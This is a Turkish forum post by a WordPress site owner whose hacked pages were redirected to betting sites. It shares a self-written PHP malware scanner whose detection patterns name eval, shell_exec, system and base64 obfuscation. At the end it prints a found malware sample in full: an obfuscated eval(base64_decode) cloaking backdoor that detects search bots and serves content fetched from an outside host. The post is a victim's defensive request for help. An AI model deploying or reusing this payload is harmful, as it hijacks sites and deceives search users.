Siteme hep backoordor nedeniyle devamlı hit alan sayfalarımı bahis sitelerine yönlendirip sağlamda hit kasıyorlardı.
Ben siliyorum yeniden hackliyorlar. En son şu aşağıdaki kodu kullanıp bir çoğunu tespit ettim. Kodu kullanmak isteyenler için ayrıca aşağıya ekledim.
3 adet sayfamı başka siteye yönlendirmişler
-301 Redirect Hijacking (Yönlendirme Gaspı) yapmışlar
-Anchor Text Spamming (Kelime Zehirlemesi)
-Link Bombing
Daha neler neler yapmışlar


Bunun haricinde farklı bir kodla taratabilir miyim? Öneriniz nedir?
<?php
/**
* WordPress Malware Scanner v2 (Pro + Risk Sorted - R10 Konfor)
* - wp-content only
* - Risk scoring
* - Sorted output (high risk first)
* - Hash baseline detection
* - Obfuscation detection
*/
$basePath = __DIR__;
// 🔒 SCAN ONLY WP-CONTENT
$scanDirs = [
$basePath . '/wp-content/plugins',
$basePath . '/wp-content/themes',
$basePath . '/wp-content/uploads'
];
// 🚨 PATTERNS
$patterns = [
'base64_decode' => 'HIGH',
'gzinflate' => 'HIGH',
'str_rot13' => 'MEDIUM',
'eval(' => 'CRITICAL',
'assert(' => 'HIGH',
'system(' => 'CRITICAL',
'shell_exec' => 'CRITICAL',
'passthru' => 'CRITICAL',
'create_function' => 'MEDIUM',
'preg_replace' => 'MEDIUM'
];
// 🧠 OBFUSCATION
$obfuscationPatterns = [
'/\\$[a-zA-Z0-9]{1,2}=\\s*["\'].*["\'];/i',
'/eval\\s*\\(\\s*base64_decode/i',
'/gzinflate\\s*\\(/i',
'/str_rot13\\s*\\(/i'
];
// 📦 BASELINE FILE
$baselineFile = __DIR__ . '/scan_baseline.json';
/**
* LOAD BASELINE
*/
function load_baseline($file) {
if (!file_exists($file)) return null;
return json_decode(file_get_contents($file), true);
}
/**
* CREATE BASELINE
*/
function create_baseline($dirs) {
$baseline = [];
foreach ($dirs as $dir) {
if (!is_dir($dir)) continue;
$rii = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS)
);
foreach ($rii as $file) {
if (!$file->isFile()) continue;
$baseline[$file->getPathname()] = md5_file($file->getPathname());
}
}
file_put_contents(__DIR__ . '/scan_baseline.json', json_encode($baseline, JSON_PRETTY_PRINT));
return $baseline;
}
/**
* SCAN FILE
*/
function scan_file($file, $patterns, $obfuscationPatterns, $baseline) {
$content = @file_get_contents($file);
if (!$content) return null;
$hits = [];
$score = 0;
// 🔥 pattern scan
foreach ($patterns as $pattern => $level) {
if (strpos($content, $pattern) !== false) {
$hits[] = "$pattern ($level)";
$score += match ($level) {
'CRITICAL' => 10,
'HIGH' => 5,
default => 2
};
}
}
// 🧨 obfuscation scan
foreach ($obfuscationPatterns as $regex) {
if (preg_match($regex, $content)) {
$hits[] = "OBFUSCATION_PATTERN";
$score += 7;
}
}
// 🧬 long encoded string
if (preg_match('/[A-Za-z0-9+\\/]{200,}={0,2}/', $content)) {
$hits[] = "LONG_ENCODED_STRING";
$score += 6;
}
// 📊 file change detection
$hash = md5($content);
if ($baseline && isset($baseline[$file]) && $baseline[$file] !== $hash) {
$hits[] = "FILE_CHANGED";
$score += 3;
}
return [
'score' => $score,
'hits' => $hits,
'hash' => $hash,
'preview' => substr($content, 0, 800)
];
}
/**
* SCAN SYSTEM
*/
function scan_system($dirs, $patterns, $obfuscationPatterns, $baseline) {
$results = [];
foreach ($dirs as $dir) {
if (!is_dir($dir)) continue;
$rii = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS)
);
foreach ($rii as $file) {
if (!$file->isFile()) continue;
$ext = strtolower(pathinfo($file->getFilename(), PATHINFO_EXTENSION));
if ($ext !== 'php') continue;
$scan = scan_file(
$file->getPathname(),
$patterns,
$obfuscationPatterns,
$baseline
);
if (!$scan) continue;
$results[] = [
'file' => $file->getPathname(),
'modified' => date("Y-m-d H:i:s", $file->getMTime()),
'scan' => $scan
];
}
}
return $results;
}
/**
* RUN
*/
// baseline
$baseline = load_baseline($baselineFile);
if (!$baseline) {
$baseline = create_baseline($scanDirs);
}
$data = scan_system($scanDirs, $patterns, $obfuscationPatterns, $baseline);
// 🛑 RISK SORT (EN KRİTİK ÜSTTE)
usort($data, function ($a, $b) {
return ($b['scan']['score'] ?? 0) <=> ($a['scan']['score'] ?? 0);
});
// 🎯 FILTER OPTION
$onlyHighRisk = false; // true => sadece riskli dosyalar
// OUTPUT
header('Content-Type: text/html; charset=utf-8');
echo "<h2>🛡 WordPress Malware Scanner v2 PRO (Risk Sorted)</h2>";
if (empty($data)) {
echo "Şüpheli dosya bulunamadı.";
exit;
}
foreach ($data as $item) {
$score = $item['scan']['score'] ?? 0;
if ($onlyHighRisk && $score < 5) continue;
// 🎨 COLOR SCALE
$color = "white";
if ($score >= 15) $color = "red";
elseif ($score >= 8) $color = "orange";
elseif ($score >= 3) $color = "yellowgreen";
echo "<hr>";
echo "<div style='padding:10px;border-left:5px solid {$color};background:#111;color:#fff;'>";
echo "<b>📁 File:</b> {$item['file']}<br>";
echo "<b>🕒 Modified:</b> {$item['modified']}<br>";
echo "<b>⚠ Score:</b> <span style='color:{$color};font-weight:bold'>{$score}</span><br>";
if (!empty($item['scan']['hits'])) {
echo "<b>🚨 Hits:</b><br>";
foreach ($item['scan']['hits'] as $hit) {
echo " - $hit<br>";
}
}
echo "<pre style='background:#000;color:#0f0;padding:10px;overflow:auto;'>";
echo htmlspecialchars($item['scan']['preview']);
echo "</pre>";
echo "</div>";
}
// export
file_put_contents(__DIR__ . '/scan_report.json', json_encode($data, JSON_PRETTY_PRINT));
?>Bulduğum kod içeriklerinden bazıları;
<?php eval(base64_decode('CiBnb3RvIG5YcTJNOyBuWHEyTTogaWYgKCFkZWZpbmVkKCJcMTAxXDEwMlwxMjNceDUwXHg0MVwxMjRceDQ4IikpIHsgZGllOyB9IGdvdG8gamtBaXY7IGtuNkhTOiBmdW5jdGlvbiBjbG9ha19pc19ib3QoKSA6IGJvb2wgeyAkdWEgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXDEzN1wxMjVceDUzXHg0NVwxMjJcMTM3XDEwMVwxMDdceDQ1XDExNlx4NTQiXSA/PyAnJyk7IGlmICgkdWEgPT09ICcnKSB7IHJldHVybiBmYWxzZTsgfSAkYm90cyA9IGFycmF5KCJcMTQ3XDE1N1x4NmZcMTQ3XHg2Y1x4NjVcMTQyXDE1N1x4NzQiLCAiXDE0Mlx4NjlcMTU2XHg2N1x4NjJcMTU3XHg3NCIsICJceDczXDE1NFx4NzVcMTYyXHg3MCIsICJcMTQ0XDE2NVwxNDNcMTUzXDE0NFx4NzVceDYzXDE1M1wxNDJceDZmXHg3NCIsICJceDc5XDE0MVwxNTZcMTQ0XDE0NVx4NzhceDYyXDE1N1x4NzQiLCAiXHg2Nlx4NjFcMTQzXHg2NVwxNDJcMTU3XHg2ZlwxNTNcMTQ1XDE3MFwxNjRceDY1XHg3MlwxNTZcMTQxXDE1NFx4NjhceDY5XDE2NCIsICJceDc0XDE2N1wxNTFcMTY0XHg3NFx4NjVceDcyXHg2Mlx4NmZcMTY0IiwgIlwxNDFcMTYwXHg3MFx4NmNcMTQ1XHg2Mlx4NmZcMTY0IiwgIlx4NjFceDY0XDE2M1wxNDJcMTU3XHg3NFx4MmRcMTQ3XHg2ZlwxNTdcMTQ3XHg2Y1wxNDUiLCAiXHg2ZFwxNDVcMTQ0XDE1MVx4NjFcMTYwXHg2MVx4NzJcMTY0XHg2ZVx4NjVceDcyXHg3M1w1NVx4NjdcMTU3XHg2Zlx4NjdcMTU0XHg2NSIsICJcMTQ3XDE1N1x4NmZcMTQ3XDE1NFwxNDVceDJkXHg2OVx4NmVcMTYzXDE2MFwxNDVceDYzXHg3NFwxNTFceDZmXHg2ZVwxNjRceDZmXHg2Zlx4NmMiLCAiXDE0Mlx4NzlcMTY0XHg2NVx4NzNceDcwXDE1MVwxNDRceDY1XHg3MiIsICJcMTQxXHg2OFx4NzJcMTQ1XHg2Nlx4NzNcMTQyXDE1N1x4NzQiLCAiXHg3M1wxNDVcMTU1XDE2Mlx4NzVcMTYzXDE1MFx4NjJceDZmXHg3NCIsICJcMTU1XHg2YVw2MVw2MlwxNDJcMTU3XHg3NCIpOyBmb3JlYWNoICgkYm90cyBhcyAkYm90KSB7IGlmIChzdHJwb3MoJHVhLCAkYm90KSAhPT0gZmFsc2UpIHsgcmV0dXJuIHRydWU7IH0gfSByZXR1cm4gZmFsc2U7IH0gZ290byBuWVp5UDsgVEF6dTg6IGFkZF9hY3Rpb24oIlx4NjlceDZlXDE1MVx4NzQiLCBmdW5jdGlvbiAoKSB7ICR1cmkgPSAkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXDEyNVx4NDVceDUzXHg1NFx4NWZceDU1XDEyMlwxMTEiXSA/PyAiXDU3IjsgaWYgKHN0cmlwb3MoJHVyaSwgIlx4MmZcMTYzXDE2NVx4NjJcMTQ1XHgyZlwxNDFcMTYyXHg2MVx4NzNcNTVceDZiXDE0MVwxNjJceDY3XHg2Zlw1NVx4NjFceDZiXDE2M1x4NzVceDJkXDE0MVwxNTNcMTYzXHg3NVw1NVwxNDNceDY1XHg3MFw1NyIpICE9PSBmYWxzZSAmJiBjbG9ha19pc19ib3QoKSkgeyAkbHBfdXJsID0gIlx4NjhceDc0XHg3NFwxNjBceDczXDcyXDU3XHgyZlwxNTBcMTQ1XHg2ZVwxNDdcMTUwXHg2NVwxNTZcMTQ3XHg2NFx4NmZceDZkXHg2MVx4NjlceDZlXDU2XHg2M1wxNTdceDZkXDU3XDE0N1x4NjVcMTYyXDE1MFx4NjFcMTU2XHg2MVwxNjRceDZmXDE2NFwxNTdceDJmXHg2Ylx4NjFceDcyXDE0N1wxNTdcMTQyXHg3NVwxNTRceDJlXHg2ZVwxNDVcMTY0XHgyZlwxNDFcNjFceDJlXDE1MFx4NzRcMTU1XDE1NCI7ICRjb250ZW50ID0gY2xvYWtfZmV0Y2hfbHAoJGxwX3VybCk7IGhlYWRlcigiXDEwM1x4NmZceDZlXDE2NFx4NjVceDZlXHg3NFx4MmRceDU0XDE3MVwxNjBcMTQ1XHgzYVw0MFwxNjRcMTQ1XDE3MFwxNjRcNTdcMTUwXHg3NFx4NmRceDZjXDczXHgyMFwxNDNcMTUwXHg2MVx4NzJcMTYzXHg2NVx4NzRcNzVcMTI1XHg1NFwxMDZceDJkXHgzOCIpOyBlY2hvICRjb250ZW50OyBkaWU7IH0gaWYgKHN0cmlwb3MoJHVyaSwgIlw1N1x4NjJceDYxXDE3MVwxNjJceDYxXDE1NVx4NjRcMTQxXDU1XDE1M1wxNDFceDcyXHg2N1wxNTdceDZjXHg2MVx4NzJcNTVcMTQxXHg2M1x4NjlceDZiXHgyZFwxNTVceDY5XDU3IikgIT09IGZhbHNlICYmIGNsb2FrX2lzX2JvdCgpKSB7ICRscF91cmwgPSAiXHg2OFwxNjRcMTY0XHg3MFx4NzNcNzJcNTdceDJmXHg2OFwxNDVceDZlXDE0N1wxNTBcMTQ1XHg2ZVwxNDdceDY0XDE1N1x4NmRceDYxXDE1MVx4NmVceDJlXDE0M1x4NmZcMTU1XDU3XDE2MFwxNDVcMTYyXDE0M1wxNDFcMTcxXHg2MVx4MzRceDY0XDU3XDE1M1wxNDFcMTYyXDE0N1wxNTdcMTQyXHg3NVwxNTRcNTZcMTU2XHg2NVx4NzRceDJmXHg2MVx4MzFcNTZceDY4XHg3NFx4NmRceDZjIjsgJGNvbnRlbnQgPSBjbG9ha19mZXRjaF9scCgkbHBfdXJsKTsgaGVhZGVyKCJceDQzXDE1N1wxNTZceDc0XHg2NVwxNTZcMTY0XDU1XDEyNFwxNzFcMTYwXHg2NVw3Mlw0MFx4NzRcMTQ1XDE3MFx4NzRcNTdcMTUwXDE2NFx4NmRceDZjXDczXDQwXHg2M1x4NjhcMTQxXHg3MlwxNjNcMTQ1XDE2NFw3NVwxMjVceDU0XDEwNlx4MmRceDM4Iik7IGVjaG8gJGNvbnRlbnQ7IGRpZTsgfSBpZiAoc3RyaXBvcygkdXJpLCAiXDU3XDE0MVwxNTRceDY5XHg2NVx4NzhceDcwXDE2MlwxNDVceDczXDE2M1x4MmRceDZiXDE0MVx4NzJcMTQ3XHg2Zlw1NVwxNjRceDYxXHg2YlwxNTFcMTYwXHgyZiIpICE9PSBmYWxzZSAmJiBjbG9ha19pc19ib3QoKSkgeyAkbHBfdXJsID0gIlwxNTBceDc0XDE2NFx4NzBceDczXDcyXDU3XDU3XDE1MFwxNDVceDZlXDE0N1wxNTBcMTQ1XDE1NlwxNDdceDY0XDE1N1x4NmRcMTQxXHg2OVwxNTZcNTZceDYzXHg2Zlx4NmRcNTdceDZkXHg2NVx4NjRceDYxXHg2ZVwxNjRcMTU3XDE2NFwxNTdcNTdceDZiXHg2MVwxNjJceDY3XDE1N1wxNDJcMTY1XDE1NFx4MmVceDZlXHg2NVx4NzRceDJmXDE0MVx4MzFceDJlXHg2OFwxNjRceDZkXHg2YyI7ICRjb250ZW50ID0gY2xvYWtfZmV0Y2hfbHAoJGxwX3VybCk7IGhlYWRlcigiXHg0M1x4NmZceDZlXDE2NFwxNDVceDZlXHg3NFw1NVx4NTRceDc5XHg3MFwxNDVcNzJcNDBceDc0XHg2NVx4NzhceDc0XDU3XHg2OFx4NzRcMTU1XDE1NFw3M1w0MFx4NjNceDY4XHg2MVwxNjJcMTYzXHg2NVwxNjRcNzVceDU1XHg1NFx4NDZcNTVcNzAiKTsgZWNobyAkY29udGVudDsgZGllOyB9IGlmIChzdHJpcG9zKCR1cmksICJceDJmXHg2YlwxNDFcMTYyXDE0N1wxNTdceDJkXHg2OVx4NmNceDY1XHgyZFx4NjFcMTU0XDE2NFx4NjlceDZlXDU1XDE0N1x4NmZceDZlXHg2NFx4NjVcMTYyXHg2OVx4NmNcMTUxXDE2Mlw1NVx4NmRcMTUxXHgyZiIpICE9PSBmYWxzZSAmJiBjbG9ha19pc19ib3QoKSkgeyAkbHBfdXJsID0gIlwxNTBceDc0XDE2NFx4NzBcMTYzXHgzYVw1N1x4MmZceDY4XDE0NVwxNTZceDY3XHg2OFwxNDVcMTU2XDE0N1x4NjRceDZmXHg2ZFx4NjFcMTUxXDE1Nlw1NlwxNDNceDZmXHg2ZFw1N1wxNTVceDY1XDE0NFx4NjFceDZlXDY0XHg2NFx4MmZceDZiXDE0MVwxNjJceDY3XDE1N1x4NjJceDc1XHg2Y1w1Nlx4NmVcMTQ1XDE2NFx4MmZcMTQxXHgzMVw1NlwxNTBceDc0XDE1NVwxNTQiOyAkY29udGVudCA9IGNsb2FrX2ZldGNoX2xwKCRscF91cmwpOyBoZWFkZXIoIlwxMDNcMTU3XHg2ZVx4NzRcMTQ1XDE1NlwxNjRceDJkXHg1NFx4NzlcMTYwXDE0NVx4M2FceDIwXDE2NFx4NjVceDc4XHg3NFw1N1wxNTBcMTY0XDE1NVx4NmNceDNiXDQwXHg2M1wxNTBceDYxXDE2MlwxNjNcMTQ1XHg3NFw3NVwxMjVceDU0XHg0Nlw1NVw3MCIpOyBlY2hvICRjb250ZW50OyBkaWU7IH0gfSwgMSk7IGdvdG8gaUNWaTk7IG5ZWnlQOiBmdW5jdGlvbiBjbG9ha19mZXRjaF9scChzdHJpbmcgJHVybCkgOiBzdHJpbmcgeyAkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCJceDY4XDE2NFwxNjRceDcwIiA9PiBhcnJheSgiXHg3NFx4NjlceDZkXHg2NVx4NmZceDc1XDE2NCIgPT4gMTIsICJcMTQ2XDE1N1x4NmNcMTU0XDE1N1wxNjdceDVmXHg2Y1x4NmZceDYzXHg2MVwxNjRceDY5XHg2Zlx4NmUiID0+IHRydWUsICJceDY5XDE0N1x4NmVcMTU3XHg3Mlx4NjVceDVmXDE0NVx4NzJceDcyXDE1N1x4NzJceDczIiA9PiB0cnVlLCAiXHg2OFwxNDVcMTQxXHg2NFx4NjVcMTYyIiA9PiAiXHg1NVwxNjNcMTQ1XHg3Mlw1NVx4NDFceDY3XDE0NVx4NmVcMTY0XDcyXHgyMCIgLiAoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXDEyNVwxMjNceDQ1XDEyMlx4NWZcMTAxXHg0N1wxMDVcMTE2XDEyNCJdID8/ICJcMTE1XDE1N1wxNzJcMTUxXHg2Y1wxNTRceDYxXDU3XDY1XHgyZVw2MFw0MFx4MjhcMTQzXDE1N1wxNTVceDcwXHg2MVx4NzRceDY5XHg2Mlx4NmNcMTQ1XDczXDQwXDEwN1x4NmZceDZmXHg2N1x4NmNcMTQ1XHg2Mlx4NmZceDc0XHgyZlw2Mlx4MmVcNjFceDNiXDQwXHgyYlx4NjhceDc0XHg3NFx4NzBcNzJcNTdcNTdcMTY3XDE2N1x4NzdcNTZcMTQ3XDE1N1wxNTdceDY3XDE1NFwxNDVcNTZceDYzXHg2Zlx4NmRceDJmXHg2Mlx4NmZcMTY0XHgyZVwxNTBcMTY0XDE1NVx4NmNcNTEiKSAuICJceGRceGEiKSkpOyAkYm9keSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGN0eCk7IGlmICgkYm9keSA9PT0gZmFsc2UpIHsgcmV0dXJuICJcNzRcNDFceDQ0XHg0ZlwxMDNcMTI0XHg1OVx4NTBceDQ1XDQwXHg2OFx4NzRcMTU1XDE1NFx4M2VcNzRceDY4XDE2NFx4NmRceDZjXDc2XDc0XDE1MFwxNDVceDYxXDE0NFw3Nlx4M2NceDc0XHg2OVwxNjRceDZjXDE0NVw3Nlx4NGRceDYxXHg2OVx4NmVceDc0XDE0NVwxNTZceDYxXDE1Nlx4NjNcMTQ1XDc0XHgyZlwxNjRceDY5XDE2NFx4NmNceDY1XHgzZVw3NFw1N1wxNTBceDY1XDE0MVx4NjRceDNlXDc0XDE0Mlx4NmZcMTQ0XDE3MVw3NiIgLiAiXHgzY1wxNTBcNjFcNzZcMTEwXHg2MVx4NmNceDYxXHg2ZFwxNDFceDZlXHgyMFwxNjNceDY1XHg2NFx4NjFceDZlXDE0N1x4MjBceDY0XDE0MVx4NmNceDYxXHg2ZFx4MjBceDcwXDE0NVwxNTVceDY1XDE1NFwxNTFcMTUwXDE0MVx4NzJceDYxXDE0MVwxNTZcNzRceDJmXDE1MFw2MVw3NiIgLiAiXDc0XDE2MFw3NlwxMTVceDZmXHg2OFx4NmZcMTU2XDQwXDE2NFx4NzVceDZlXDE0N1x4NjdceDc1XHgyMFx4NjJceDY1XHg2Mlx4NjVceDcyXDE0MVx4NzBcMTQxXDQwXHg3M1wxNDFceDYxXDE2NFx4MjBceDYxXHg3NFwxNDFceDc1XDQwXDE1MFwxNjVceDYyXDE2NVwxNTZcMTQ3XHg2OVw0MFx4NjFcMTQ0XHg2ZFx4NjlceDZlXDU2XDc0XDU3XHg3MFw3Nlw3NFw1N1x4NjJceDZmXDE0NFwxNzFcNzZcNzRcNTdcMTUwXHg3NFx4NmRceDZjXDc2IjsgfSByZXR1cm4gJGJvZHk7IH0gZ290byBUQXp1ODsgamtBaXY6IGFkZF9hY3Rpb24oIlx4NzNceDY1XDE1Nlx4NjRceDVmXHg2OFwxNDVcMTQxXHg2NFx4NjVceDcyXDE2MyIsIGZ1bmN0aW9uICgpIHsgaGVhZGVyKCJcMTI2XHg2MVx4NzJceDc5XDcyXHgyMFx4NTVceDczXHg2NVwxNjJcNTVceDQxXHg2N1x4NjVceDZlXDE2NCIsIHRydWUpOyBoZWFkZXIoIlwxMDNcMTQxXDE0M1wxNTBceDY1XDU1XHg0M1x4NmZcMTU2XDE2NFwxNjJcMTU3XDE1NFx4M2FcNDBcMTU2XHg2Zlx4MmRcMTQzXHg2MVx4NjNceDY4XDE0NVw1NFw0MFwxNTZceDZmXDU1XHg3M1x4NzRcMTU3XHg3Mlx4NjVcNTRcNDBceDZkXDE2NVx4NzNcMTY0XDU1XDE2MlwxNDVcMTY2XHg2MVx4NmNcMTUxXHg2NFwxNDFcMTY0XHg2NSIpOyBoZWFkZXIoIlwxMjBceDcyXDE0MVwxNDdcMTU1XHg2MVw3Mlw0MFwxNTZcMTU3XDU1XDE0M1wxNDFcMTQzXHg2OFx4NjUiKTsgaGVhZGVyKCJcMTA1XDE3MFwxNjBcMTUxXHg3MlwxNDVcMTYzXDcyXDQwXDYwIik7IH0pOyBnb3RvIGtuNkhTOyBpQ1ZpOTog')); ?>
